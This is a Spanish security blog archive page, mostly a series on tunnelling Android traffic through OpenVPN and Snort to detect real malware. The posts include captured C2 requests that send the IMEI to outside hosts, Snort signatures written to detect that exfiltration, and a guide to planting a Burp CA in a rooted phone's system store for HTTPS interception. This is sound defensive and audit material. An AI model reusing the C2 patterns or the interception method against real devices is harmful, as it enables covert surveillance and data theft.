Mostrando entradas con la etiqueta SeguridadRedes. Mostrar todas las entradas
Mostrando entradas con la etiqueta SeguridadRedes. Mostrar todas las entradas

miércoles, 20 de febrero de 2013

Monitorización del tráfico en dispositivos Android (y IV)

Seguimos con la contribución de Angel Alonso-Parrizas, que ya llega a su cuarto y último post después de ESTEESTE y ESTE.

En los últimos dos posts vimos varios casos prácticos con malware real. Las firmas creadas en el análisis han sido incluidas en emerginghthreat.
Ahora vamos a explicar los pasos a seguir para hacer la respuesta a incidentes.


Detección de malware sin firmas

En esta categoría tenemos malware del que se sabe su existencia y ha sido reportado pero para el que no existen firmas.
  • Preparación: En esta fase se debe elegir a un analista de seguridad que se encargará de monitorizar foros y listas de seguridad de Android y malware con el fin de estar al tanto de cualquier posible amenaza. Además, es necesario preparar el laboratorio donde se van a realizar las pruebas. Los componentes son:
    • Dispositivo Android dónde ejecutar el malware
    • PC con Linux para subir el malware al smartphone. El PC debe tener tarjetas de red y herramientas para el análisis de tráfico (Snort, tcpdump, Wireshark). El tráfico será enviado a la tarjeta de red a través de mirroring o SPAN.
    • Un AP WiFi con una read aislada (separada del entorno de producción) y con acceso a Internet. El tráfico del AP se enviará al PC (por ejemplo algunos modelos de Linksys permiten hacer forwarding del tráfico).
    • Política de backup y restauración del Android para poder recuperar el dispositivo después de la infección. Se creará una imagen base y limpia que se reinstalará para hacer nuevas pruebas.
  • Identificación: durante esta fase el analista de seguridad identificará malware potencial que pueda suponer un riesgo. Como el malware ha sido reportado existirá información que puede ser de ayuda. Por ejemplo, las conexiones que realiza o qué hace el malware a nivel funcional. Una vez se obtiene una muestra del malware, el analista debe instalarlo en el smartphone, capturar el tráfico con tcpdump y analizarlo con snort. El analista debe ser capaz de crear firmas en función de los flujos de datos generados y corroborándolos con el report (si existe) del malware. Una vez la firma ha sido creada se puede analizar el tráfico capturado previamene contra Snort 
  • Contención: al ejecutarse en un entorno controlado y ser test esta fase no es aplicable
  • Erradicación: análogo a contención.
  • Lecciones aprendidas: aunque las pruebas se ejecutan en un entorno controlado la información obtenida debe ser usada para informar a los usuarios de la potencial amenaza (vías de infección, impacto, etc).

Detección de malware 0-day

Este escenario es diferente del anterior ya que no hay información ni firma del malware. Por ello, el análisis es más complicado y en muchos casos el malware y la infección no será detectado al principio. Por lo tanto, el proceso de respuesta a incidente será diferente.
  • Preparación: en esta fase y al tratarse de un entorno en producción todos los dispositivos deberán ser configurado según la arquitectura propuesta en el post 1. Esto implica que todo el tráfico es capturado y analizado por Snort en tiempo real. Durante esta fase se debe de nombrar a una analista de seguridad como se hizo en el caso anterior. Además, se definirá una política de backup (diaria, semanal..) de todos los dispositivos y las copias se almacenarán en un lugar seguro (hay diferentes herramientas que se encargan de hacerlo). El analista tendrá accesso por SSH a través del túnel VPN al smartphone como se describe aquí
  • Identificación: esta es sin duda la parte más complicada ya que al no existir firmas ninguna alerta saltará, si tenemos suerte alguna de las firmas creadas para detectar tráfico no estándar generará una alerta que podrá ser usada como punto de inicio para la investigación, pero si no es el caso hay que ver otras alternativas:
    • Detectar si alguna aplicación ha sido instalada sin nuestro conocimiento. Para ello, se puede hacer uso del comando ‘pm list packages’ que muestra todos los paquetes instalados. O bien, es posible ver las aplicaciones instaladas con el comando 'ls –lahtr /data/app' en la shell de Android.
    • Comprobar que puertos están a la escucha con el fin de detectar alguna puerta trasera. En algunos casos de malware en Android se han creado puertas traseras. Para ello la herramienta 'netstat' puede ser útil. Si existe algún puerto a la escucha podemos correlar esta información con el tráfico capturado en tiempo real por tcpdump y podríamos analizar lo que ha pasado antes y despues de usarse ese puerto.
    • Detectar ficheros que han sido modificados o añadidos en las últimas horas (el timestamp es crucial para correlarlo con el tráfico capturado). Con el comando 'find' y algunos parámetros podemos hacer esto. Una vez tenemos la lista de ficheros tenemos que investigar para que sirven. Por ejemplo, el malware 'Kungfu Variant' modifica el fichero /data/data/data/com.noshufou.android.su/databases/su.db con el fin de dar permisos 'su' (root) a ciertas aplicaciones. Esto es un ejemplo de que debe ser investigado y correlado con el tráfico.
    • Comprobar los permisos de las aplicaciones desde el GUI del terminal. Normalmente la mayoría del malware configura permisos innecesarios (acceso a la SD, lectura de los SMS, etc). Con esta información se puede averiguar qué aplicaciones tienen demasiados permisos, chequear cuando fue instalada esa aplicación y correlar con el tráfico capturado.
    • Con esto tendremos  suficiente información (básicamente timestamp) que usaremos para correlar con los flujos de tráfico. Por ejemplo, podemos ver qué sitios web han sido visitados antes de cierto momento o después, o bien si alguna aplicación fue instalada o descargada después de visitar una página web. Podemos ver qué ha pasado después de que el sistema haya sido comprometido. Con toda esta información es posible crear firmas de Snort.
  • Contención: Al tener control sobre el tráfico que fluye sobre el VPN podemos crear reglas de filtrado en función de un puerto, una IP, etc. Esta es la manera más sencilla de contener el incidente. Por ejemplo, supongamos que hay una conexión hacia la IP 1.1.1.1 donde se envía información robada por HTTP al puerto 80, con lo que podríamos crear una regla así:
/sbin/iptables iptables -A INPUT  -i tun0 -p 6 --dport 80 –d 1.1.1.1/32  -j DROP
  • Erradicación: en esta fase el malware debe ser borrado/desinstalado. Esto se puede hacer desde la shell con los comandos: 'pm clear package_name' y 'pm uninstall package_name'
  • Recuperación: Algunas veces no es suficiente con desinstalar o borrar los archivos por lo que hay que recuperar del último backup limpio y es por esto que es muy importante definir una política de backups durante la fase de preparación. Además es importante durante esta fase monitorizar el tráfico con las reglas de snort creadas con el fin de detectar si otros dispositivos han sido afectados o bien el mismo es comprometido otra vez. También, se puede analizar si ha habido algún match de la regla de iptables creada. 
  • Lecciones aprendidas: una vez se tiene claro como se ha comprometido el smartphone, hay que informar al usuario la razón de la infección y como evitarlo en el futuro. También es buena práctica informar al resto de usuarios de la amenaza y como evitarlo.
Hasta la próxima.

miércoles, 13 de febrero de 2013

Monitorización del tráfico en dispositivos Android (III)

Seguimos con la contribución de Angel Alonso-Parrizas, que ya llega a su tercer post después de ESTE y de ESTE:

Al final del segundo post sobre esta serie analizamos el malware  ‘Android - Fake Installer /Fake Lookout (TrojanFakeLookout.A.)’ y ahora seguiremos haciendo el análisis de otros tres ejemplos.


 Análisis of ‘Android Fakelash - Android SMS trojan’


Este malware simular ser el popular plugin para visualizar contenido flash. No vamos a entrar al detalle de como funciona el malware ya que se puede encontrar el informe aqui, pero a modo de resumen este malware se dedica a leer los SMS recibidos y mandarlos por HTTP a un servidor (por ejemplo, para robar tokens de autenticación enviados por SMS para acceder a banca online). Como hicimos en el anterior caso, lo que haremos es ejecutar el malware, ver si existen alguna alerta  y analizar los flujos de datos que se producen. En este caso particular, ya existe una firma creada por emergingthreats  para detectar el malware:

/etc/snort/rules/malware-cnc.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC Android/Fakelash.A!tr.spy trojan command and control channel traffic"; flow:to_server,established; content:"/data.php?action="; nocase; http_uri; content:"&m="; distance:0; nocase; http_uri; content:"&p="; distance:0; nocase; http_uri; content:"&n="; distance:0; nocase; http_uri; metadata:policy security-ips drop, service http; reference:url,blog.fortiguard.com/android-malware-distributed-by-malicious-sms-in-france/; classtype:trojan-activity; sid:24251; rev:1;)

Esta firma basicamente mira lo siguiente:
  • Tráfico HTTP sobre TCP con origen la red interna y destino cualquier otra red
  • Que el contenido de la URI contenga: /data.php?action 
  • Seguidamente de: &m=, &p=, &n=
Es decir, que la URI sea así: data.php?action=XXX+&m=YYY+&p=ZZZ+&n=TTT (a través de estos valores se el envía la información 'robada' al servidor).
Pero desafortunadamente no se genera ninguna alerta en snort, lo que significa que la firma no funciona.
Mirando la captura del tráfico con Wireshark podemos ver el siguiente tráfico:

GET /data.php?action=cmd&online=ffffffff-c32c-1f6d-2bbc-fab90033c587&m=null&ver=Flash HTTP/1.1

User-Agent: Dalvik/1.4.0 (Linux; U; Android 2.3.7; HTC Vision Build/GRI40)

Host: androidoutdate.co.cc

Connection: Keep-Alive
Accept-Encoding: gzip

En este caso, la URI solicitada es:

/data.php?action=cmd&online=UUID&m=PHONE NUMBER&ver=flashpayer11

Lo que nos permite generar una firma usando la firma inicial pero adaptándola:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC Android/Fakelash.A!tr.spy trojan command and control channel traffic - VERSION aparrizas"; flow:to_server,established; content:"/data.php?action="; nocase; http_uri; content:"&online="; distance:0; nocase; http_uri; content:"&m="; distance:0; nocase; http_uri; content:"&ver="; distance:0; nocase; http_uri; metadata:policy security-ips drop, service http; reference:url,blog.fortiguard.com/android-malware-distributed-by-malicious-sms-in-france/; classtype:trojan-activity; sid:88888802; rev:1;)


Análisis of ‘Android SimpleTemai’


Este especimen se dedica a bajar ficheros e instalar un backdoor en el dispositivo comprometido. El análisis completo se puede encontrar aquí. Después de ejecutar el malware vemos que ninguna alerta se ha generado pero mirando con Wireshark la captura del tráfico podemos ver lo siguiente:

GET /control.html?imei=352212045402919&sim=null&imsi=null&model=HTC%20Vision&release=2.3.7&qd=01300602323&gamename=com.polarbit.rthunderliteok&script=001 HTTP/1.1
User-Agent: Dalvik/1.4.0 (Linux; U; Android 2.3.7; HTC Vision Build/GRI40)
Host: wap.juliu.net

El dominio wap.juliu.net esta incluido en el análisis. En este caso podríamos crear una firma para ese dominio pero si miralos en la URI podemos ver que uno de los parámetros enviados es el IMEI (imei=352212045402919).
Si buscamos firmas existentes para la cadena IMEI encontramos lo siguiente:

/etc/snort/rules/emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET MOBILE_MALWARE Possible Mobile Malware POST of IMEI International Mobile Equipment Identity in URI"; flow:established,to_server; content:"POST"; http_method; content:"imei="; nocase; http_uri; reference:url,www.met.police.uk/mobilephone/imei.htm; classtype:trojan-activity; sid:2012848; rev:1;)

La razón por la que no ha saltado la alerta es porque el metodo HTTP de la firma es POST, pero el malware usa GET. Lo más sencillo es crear una firma cambiando el método POST por el GET, es decir cambiando el string POST por GET.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET MOBILE_MALWARE Possible Mobile Malware GET of IMEI International Mobile Equipment Identity in URI"; flow:established,to_server; content:"GET"; http_method; content:"imei="; nocase; http_uri; reference:url,www.met.police.uk/mobilephone/imei.htm; classtype:trojan-activity; sid:888888889; rev:1;)


 Análisis of ‘Android KungFu variant’


El análisis completo de este malware se puede ver aquí. Este malware es bastante más agresivo ya que modifica ficheros claves del sistema operativo. Para ello, descarga ciertos ficheros de un servidor a través de HTTP pero usando un puerto no estandar.
Si ejecutamos el malware, vemos que se generan varias alertas:

[**] [1:9999999:0] NOT STANDARD TCP PORTS [**]
[Priority: 0]
11/24-04:10:50.237622 172.16.1.99:54122 -> 114.112.190.30:7500
TCP TTL:64 TOS:0x0 ID:61659 IpLen:20 DgmLen:60 DF
******S* Seq: 0xD6B7A4BF  Ack: 0x0  Win: 0xFAF0  TcpLen: 40
TCP Options (5) => MSS: 1350 SackOK TS: 21604 0 N

Estas alertas son generadas por la firma que creamos inicialmente para detectar tráfico que no es estándar.
Si miramos las reglas existentes de snort podemos ver que ya existen firmas para definidas para este malware, pero por desgracia ninguna de ellas ha generado una alerta.

emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET 8511 (msg:"ET MOBILE_MALWARE DroidKungFu Checkin"; flow:established,to_server; content:"POST "; depth:5; nocase; content:"/search/sayhi.php"; distance:0; nocase; sid:2013020; rev:1;)

emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET 8511 (msg:"ET MOBILE_MALWARE DroidKungFu Checkin 2"; flow:established,to_server; content:"POST "; depth:5; nocase; content:"search/rpty.php"; distance:0; nocase; sid:2013022; rev:1;)

emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET 8511 (msg:"ET MOBILE_MALWARE DroidKungFu Checkin 3"; flow:established,to_server; content:"POST "; depth:5; nocase; content:"/search/getty.php"; distance:0; nocase; sid:2013063; rev:1;)

emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET MOBILE_MALWARE Android/KungFu Package Delete Command"; flow:established,to_server; content:"/search/isavailable"; http_uri; content:".php?imei="; http_uri; content:"&ch="; http_uri; content:"&ver="; http_uri; content:"User-Agent|3A 20|adlib/"; http_header; classtype:trojan-activity; sid:2013968; rev:1;)

Analizando el tráfico generado podemos ver que el malware realiza varias conexiones a diferentes IP y puertos 114.112.190.30:7500, 58.221.44.102:7500, 180.210.34.207:8511.
Las primeras peticiones web son las siguientes:


En la segunda petición se puede ver que se envía el IMEI del teléfono con el parámetro: 'u=352212045402919'. La razon por la cual no ha saltado la alerta para la firma del IMEI que creamos anteriormente es que el string no contiene la cadena IMEI.
Existe, además otra conexión sospechosa a 58.221.44.102:7500, pero esta vez se trata de una petición POST:

imei=352212045402919&packagename=com.tebs3.cuttherope&versionname=1.1.5&versioncode=6&IMEI=352212045402919&login_way=1&user_detal_info=1&rq_poster=1&user_detal_info=1&dId=10000

Claramente se ve el string IMEI en la petición, ¿por qué tampoco hay una alerta con la firma 'ET MOBILE_MALWARE Possible Mobile Malware POST of IMEI International Mobile Equipment Identity in URI' analizada anteriormente?. La respuesta es sencilla: la firma esta creada para detectar solo el IMEI en el tráfico HTTP en puertos estándar, y el puerto 7500 no es un puerto normalmente utilizado para HTTP.
La última petición web que se realiza es la siguiente:

GET ad.pandanew.com:8511/search/s2.php?i=352212045402919&c=NCuttherope&v=17&b=htc_wwe&m=HTC+Vision&sv=10

Al igual que las anteriores el IMEI se envía en la petición sin generar ninguna alerta.
Como vemos, existen varias peticiones y ninguna genera alertas a excepción de la de tráfico en puertos no estándar.
Mirando las firmas existentes para este malware podemos ver que todas tienen en común el string 'search' en la petición HTTP y este string tambien esta en la última petición web realizada por el malware a a ad.pandanew.com:8511/search/s2.php. Llegados aquí las posibilidades de crear una firma que detecte este malware son varias, pero seguiremos el patrón de las existentes, es decir, usar la petición con la cadena 'search'. Así la firma sería la siguiente:

alert tcp $HOME_NET any -> $EXTERNAL_NET 8511 (msg:"ET MOBILE_MALWARE DroidKungFu Variant - aparrizas"; flow:established,to_server; content:"GET"; content:"/search/s2.php";  sid:88888804; rev:1;)

(¡continuará una última vez!)

lunes, 11 de febrero de 2013

Monitorización del tráfico en dispositivos Android (II)

Seguimos con la contribución de Angel Alonso-Parrizas, que ya empezó la semana pasada:

En el primer post dejamos configurado el túnel VPN de tal manera que en el endpoint se podía lanzar tcpdump sobre el interfaz virtual para capturar el tráfico y guardarlo en un fichero.

Lo que vamos a hacer ahora es instalar snort y configurarlo. Por defecto, la versión de Linux usada tiene Snort 2.9.4 en el repositorio así que la podemos instalar de allí sin problemas. Los paquetes a instalar son: snort, snort-common and snort-common-libraries.

Lo siguiente a instalar son las firmas de emergingthreats en las cuales ya se incorpora algunas firmas para Android. En nuestro caso los ficheros de las firmas que vamos a dejar configuradas en el snort.conf son: blacklist.rules, botnet-cnc.rules, community-bot.rules, community-virus.rules, malware-backdoor.rules, malware-cnc.rules , malware-tools.rules, emerging-trojan.rules, emerging-malware.rules, emerging-botcc.rules. Además, en el fichero local.rules crearemos nuestras propias firmas.

Para configurar correctamente snort tenemos que definir cual es la red interna, es decir, que tráfico se considera local y cual externo. Para ello, hay que definir la red asignada al VPN y el interfaz del que queremos analizar el tráfico y esto se hace en el fichero /etc/snort/snort.debian.conf de la siguiente manera:

DEBIAN_SNORT_HOME_NET="172.16.1.1/24"
DEBIAN_SNORT_INTERFACE="tun0"

Lo único que falta es lanzar snort y ver que el proceso esta ejecutándose:

/usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[172.16.1.1/24] -i tun0

Lo siguiente es definir que tráfico es considerado normal y cual no. Esto dependerá de cada caso particular, pero para este proyecto se considera que 53/tcp, 53/udp, 80/tcp, 123/udp, 443/tcp y 5228/tcp es tráfico permitido. Cualquier otro tráfico debe levantar una alerta y debe ser investigado ya que puede ser síntoma de que el dispositivo ha sido comprometido.  Las reglas de snort que generarán las alertas son:

alert tcp $HOME_NET any -> $EXTERNAL_NET !$HTTP_PORTS,!5228,!53 (msg:"NOT STANDARD TCP PORTS";sid:9999999; rev:0;)
alert udp $HOME_NET any -> $EXTERNAL_NET !53,!123(msg:"NOT STANDARD UDP PORTS";sid:9999998; rev:0;)

Estas reglas son bastante sencillas si se tiene un conocimiento de snort. La primera regla genera una alerta si se detecta tráfico TCP con puerto destino distinto a los puertos HTTP/s (80 y 443), 5228/tcp o el puerto 53/tcp. La segunda regla es análoga pero para el tráfico UDP a puertos DNS y NTP.

Para probar las reglas y ver que funciona lanzamos un netcat desde la consola del Android a un puerto no estándar (9999/tcp) y podemos ver la alerta en el fichero /var/log/snort/alert:

[**] [1:9999999:0] NOT STANDARD TCP PORTS [**]
[Priority: 0]
11/12-19:29:56.422536 172.16.1.99:37946 -> 147.156.1.1:9999
TCP TTL:64 TOS:0x0 ID:25761 IpLen:20 DgmLen:60 DF
******S* Seq: 0xA82B1A31  Ack: 0x0  Win: 0xFAF0  TcpLen: 40
TCP Options (5) => MSS: 1350 SackOK TS: 492084 0 NOP WS: 1

A su vez, podemos ver que el tráfico se ha almacenado en el fichero capturex.cap sobre el que escribe el tcpdump ejecutado en modo background (post 1):

root@lab1:/var/log/snort# tcpdump -nr /home/angel/capturex.cap host 147.156.1.1
reading from file /home/angel/capturex.cap, link-type RAW (Raw IP)
19:29:47.402027 IP 172.16.1.99.37946 > 147.156.1.1.9999: Flags [S], seq 2821397041, win 64240, options [mss 1350,sackOK,TS val 491182 ecr 0,nop,wscale 1], length 0

Ahora que sabemos que todo funciona bien vamos a probar a hacer lo mismo con malware.

De la página http://contagiominidump.blogspot.com.es/ podemos bajar muestras de malware para Android, subirlas al smartphone y luego ejecutarlo.
En teoría, como ya existen firmas para Android (de emergingthreat) debería haber alertas generadas en algunos de los casos que vamos a analizar, pero esto es sólo la teoría. En la práctica ninguno de los ejemplos de malware que vamos a testear son detectados con las firmas por defecto.

Análisis de ‘Android - Fake Installer /Fake Lookout (TrojanFakeLookout.A.)’
El informe de lo que hace este malware se puede encontrar aquí. Sin entrar al detalle de como funciona este malware lo que hace básicamente es robar información del smartphone y enviarla por HTTP a un servidor. En esta comunicación HTTP el servidor puede enviar comandos al dispositivo también. Como he comentado antes, cuando ejecutamos el malware en el dispostivo y miramos los logs de snort no hay ninguna alerta, por lo que hay que indagar en el fichero con las capturas del tcpdump.
Lo mejor es tirar de Wireshark por la comodidad de lo visual, aunque se podría hacer el mismo análisis con Tshark o alguna otra herramienta.
Lo que vemos es una conexión GET a la IP 68.178.232.10 con el siguiente contenido:

GET /controls.php HTTP/1.1
User-Agent: Dalvik/1.4.0 (Linux; U; Android 2.3.7; HTC Vision Build/GRI40)
Host: thelongislandpress.com
Connection: Keep-Alive
Accept-Encoding: gzip

Correlando esta información con la del report, vemos que la URL http://thelongislandpress.com/controls.php es la misma, así que lo más sencillo es crear una regla que haga un match de este host en la cabecerar HTTP además del recurso controls.php.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE Android TrojanFakeLookout.A"; flow:established,to_server; content:"/controls.php";nocase; http_uri; content:"Host: thelongislandpress.com"; http_header; metadata:service http; reference:url,blog.trustgo.com/fakelookout/; sid:88888801; rev:1;)

Sin entrar al detalle del lenguaje usado en Snort, lo que hace la regla es hacer un match de lo anteriormente comentado y alertar cuando hay tráfico TCP desde la red interna a cualquier otro sitio y el puerto es HTTP.

Una vez tenemos las regla creada debemos de probarla con el tráfico capturado y ver si funciona:

/usr/sbin/snort -m 027  -d -l /var/log/snort2 -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[172.16.1.1/24] -r /home/angel/capturex.cap

Asi vemos la alerta en el fichero de snort:

 [**] [1:88888801:1] MALWARE Android TrojanFakeLookout.A [**]
[Priority: 0]
11/08-21:00:55.125712 172.16.1.99:59058 -> 68.178.232.100:80
TCP TTL:113 TOS:0x0 ID:24542 IpLen:20 DgmLen:223 DF
***A**** Seq: 0x393EB8F8  Ack: 0x9A02E635  Win: 0xFF48  TcpLen: 20
[Xref => http://blog.trustgo.com/fakelookout/]

(continuará)

lunes, 4 de febrero de 2013

Monitorización del tráfico en dispositivos Android (I)

Contribución de Angel Alonso-Parrizas, que ya publicó en Pentester.Es una serie sobre securización de dispositivos Android:

Hola de nuevo por estos lugares :)

El post de hoy va de cómo es posible monitorizar y analizar el tráfico de smartphones con Android. El paper original en inglés se puede encontrar en la web del SANS.

La idea es enviar todo el tráfico de red que pasa por nuestro dispositivo tunelizándolo a través de OpenVPN de tal manera que podemos capturar y analizar en tiempo real las trazas de red.
Inicialmente esta idea la propusé en el paper 'Securely Deploying Android Devices' (que también fue publicado en esta serie de posts 1 2 3) con el propósito de cifrar el tráfico de red para garantizar la confidencialidad al conectarnos desde cualquier WiFi o del 3G. Además, en ese paper comentaba como era posible implementar políticas de filtrado de tráfico.

Lo que vamos a hacer ahora es capturar todo el tráfico con tcpdump y a su vez analizarlo con Snort, lo que nos permitirá crear nuestras propias reglas y definir un 'network baseline' para detectar cualquier tráfico no autorizado. Aprovechando este diseño, ejecutaremos malware en el dispositivo para testear la efectividad de las reglas de Snort, crear nuevas reglas o bien adaptarlas. Como último punto, y dado que tenemos todo el tráfico capturado, podremos hacer 'Incident Handling' y definir los pasos para la respuesta a malware sin firmas exitentes y para malware 0-day.





Damos por hecho que el túnel OpenVPN ya se ha configurado con los certificados digitales como se explica en el post 1 por lo que vamos a configurar iptables para tunelizar el trafico.

Reglas aplicadas al Smartphone:

#!/system/bin/sh
/system/bin/iptables -F
# Trafico hacia el loopback
/system/bin/iptables -A INPUT -i lo -j ACCEPT
/system/bin/iptables -A OUTPUT -o lo -j ACCEPT

# Politica por defecto para INPUT, OUTPUT, FORWARD
/system/bin/iptables --policy INPUT DROP
/system/bin/iptables --policy OUTPUT DROP
/system/bin/iptables --policy FORWARD DROP

# ACEPTAR todo el trafico establecido
/system/bin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# ACEPTAR el traffico SSH para gestionar el dispositivo
/system/bin/iptables -A INPUT -i tun0 -p 6 --dport 22 -j ACCEPT

# ACEPTAR el trafico que viene del tunel
/system/bin/iptables -A INPUT -i tun0 -p 1 -j ACCEPT
# ACEPTAT el trafico que va hacia la IP del tunel /system/bin/iptables -A OUTPUT -d 50.19.152.221/32 -j ACCEPT
# ACEPTAR el trafico que va hacia el interfaz del tunel
/system/bin/iptables -A OUTPUT -o tun0 -j ACCEPT


Resultado de las reglas:
















Reglas aplicadas al VPN Gateway:

#!/bin/sh
/sbin/iptables -F
# Trafico al interfaz de loopback y del tunellocalhost and VPN interface tun0 allowed
/sbin/iptables -A INPUT -i lo -j ACCEPT
/sbin/iptables -A OUTPUT -o lo -j ACCEPT
/sbin/iptables -A INPUT -i tun0 -j ACCEPT
/sbin/iptables -A OUTPUT -o tun0 -j ACCEPT

# Politica por defecto DROP 
/sbin/iptables --policy INPUT DROP
/sbin/iptables --policy OUTPUT ACCEPT
/sbin/iptables --policy FORWARD ACCEPT

# Permitimos tofo el trafico  HTTP, HTTPS, FTP y el trafico establecido (gestion del VPS y actualizaciones)
/sbin/iptables -A INPUT  -i eth0 -p 6 --dport 80 -j ACCEPT
/sbin/iptables -A INPUT  -i eth0 -p 6 --dport 443 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport ftp -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport ftp-data -j ACCEPT
/sbin/iptables -A INPUT -p ALL -i eth0 -m state –state ESTABLISHED,RELATED –j ACCEPT

# Regla para el trafico que va desde el VPN a internet  
 /sbin/iptables -A FORWARD -i tun0 -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 -j ACCEPT
# Permitir el trafico del VPN al interfaz publico y hacer NAT
/sbin/iptables -A FORWARD -i eth0 -o tun0 -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A FORWARD -i tun0 -o eth0 -j ACCEPT
/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Filtramos el trafico VPN
/sbin/ip6tables --policy INPUT DROP
/sbin/ip6tables --policy OUTPUT DROP
/sbin/ip6tables --policy FORWARD DROP

Resultado de las reglas:






Ahora ya podemos empezar a capturar el tráfico con tpcdump con el siguiente comando:

screen tcpdump -i tun0 -s 0 -w /home/angel/capturex.cap

(continuará)

martes, 6 de noviembre de 2012

Análisis de Tráfico SSL en Android 4.x


El post de hoy no trata de ninguna nueva técnica ni nada excesivamente sofisticado, sino más bien de algo que es conocido pero que la gente con memoria de pez como yo se ve obligado a buscar una y otra vez cuando necesita hacer algo.

Cuando queremos analizar una aplicación de Android, ya sea para hacer una auditoría o para analizar si tiene algún componente malicioso (en mi caso suele ser lo primero), una de las cosas que tenemos que mirar son los puntos de comunicación con el exterior. Uno de los medios de comunicación más habituales es el uso de HTTP para comunicarse con aplicaciones web externas o web services. Hasta aquí ningún problema, podemos suplantar el nombre empleando el módulo fakedns de Metasploit ([1] [2] [3]) e interceptar las comunicaciones empleando Burp Proxy, ZAP o cualquier otro a vuestra elección.

El principal problema ocurre cuando esta comunicación es HTTPS, ya que estos proxies lo que hacen es crear una CA interna y van generando certificados firmados por esta CA para cada web que visitas (el funcionamiento puede cambiarse, pero este es el que viene por defecto con Burp). Esta CA creada por Burp, evidentemente, no es de confianza para nuestro Android, así que se nos muestra un mensaje de advertencia como el que vemos arriba o, sencillamente, la aplicación que estamos auditando rechazará la conexión por no estar firmado el certificado por una CA de confianza.

Como muchas veces la aplicación no nos va a dejar que aceptemos este certificado, vamos a tener que hacer algo para que nuestro Android confíe en la CA de nuestro Burp, así que lo primero que vamos a hacer es obtener la clave pública de esa CA. La manera más sencilla es hacer que nuestro navegador estandar use el burp y visitar cualquier web por HTTPS. Si vemos el detalle de los certificados veremos que podemos exportarlos en varios formatos. Hagámoslo en PEM:


Ahora que tenemos el certificado habrá que subirlo de algún modo a nuestro dispositivo. Se puede hacer de varias formas, pero una de las más cómodas es usar el comando "adb" que viene con el SDK de Android:

$ adb push PortSwiggerCA.pem /sdcard/
107 KB/s (1038 bytes in 0.009s)

Ya lo tenemos subido ¿y ahora dónde lo metemos? En versiones anteriores de Android los certificados de las CAs de confianza se encontraban en un único fichero que debíamos bajar a nuestro equipo, añadir la nueva CA y posteriormente volverlo a subir. En el caso de Android 4 la cosa ha cambiado un poco, ahora tenemos una serie de ficheros en /system/etc/security/cacerts/ que contienen cada uno de ellos un certificado de una CA:

$ adb shell
shell@android:/ $ su
shell@android:/ # cd /system/etc/security/cacerts/
shell@android:/system/etc/security/cacerts # ls -la
-rw-r--r-- root     root         4767 2012-09-28 14:15 00673b5b.0
-rw-r--r-- root     root         4573 2012-09-28 14:15 03e16f6c.0
-rw-r--r-- root     root         5292 2012-09-28 14:15 08aef7bb.0
-rw-r--r-- root     root         4540 2012-09-28 14:15 0d188d89.0
-rw-r--r-- root     root         4614 2012-09-28 14:15 10531352.0
-rw-r--r-- root     root         4686 2012-09-28 14:15 111e6273.0
-rw-r--r-- root     root         5027 2012-09-28 14:15 1155c94b.0
-rw-r--r-- root     root         5345 2012-09-28 14:15 119afc2e.0
-rw-r--r-- root     root         5844 2012-09-28 14:15 11a09b38.0
[...]

Parece que, si disponemos de acceso root, debería ser tan fácil como colocar nuestro fichero PEM en este directorio ¿Con cualquier nombre? Pues no, cualquier nombre no vale. Esos números que vemos no son más que un hash del subject del certificado, y se usan como si fuera una tabla hash, es decir, cuando se obtiene un certificado que está firmado por una CA, se realiza el hash del subject de esta CA y se busca el fichero con este nombre. Si se producen colisiones en el hash se va incrementando el número de la extensión (.0 .1 .2 ...). Para obtener ese hash lo podemos hacer con openssl de la siguiente forma:

$ openssl x509 -noout -subject_hash_old -in PortSwiggerCA.pem
9a5ba575

Ahora solo nos quedará meter el certificado en el lugar indicado con el nombre adecuado. Para ello, depende del rooteo que hayamos hecho, es probable que tengamos que remontar en lectura/escritura la partición /system:

shell@android:/system/etc/security/cacerts # mount -o rw,remount /system
shell@android:/system/etc/security/cacerts # cat /sdcard/PortSwiggerCA.pem > 9a5ba575.0
shell@android:/system/etc/security/cacerts # mount -o ro,remount /system

Hecho esto ya solo tenemos que reiniciar el terminal y volver a repetir el proceso. Ahora cuando visitemos una página HTTPS a través de Burp, el navegador va a aceptar el certificado que éste le proporciona, y por tanto va a poder inspeccionar y modificar este tráfico.

Lo mismo va a ocurrir con las aplicaciones en las que no podíamos simplemente darle a "aceptar certificado", con lo que ya tenemos resuelto el problema de inspeccionar este tráfico.

Ahora quedaría mirar si, dentro de ese tráfico, podemos manipular la información o hacer algo con lo que vulneremos la seguridad de la aplicación, pero eso ya... es otra historia.

miércoles, 26 de septiembre de 2012

Relaying SSH con UDP

Como ya sabéis algunos, me encuentro impartiendo en estos momentos curso del SANS Institute SEC-560: Network Penetration Testing & Ethical Hacking. Durante el transcurso de las clases, mientras veíamos la parte de pivoting, comentábamos que, en ocasiones, todos los puertos TCP pueden estar cerrados de salida, lo cual dificulta hacer el pivoting, aunque no lo imposibilita.

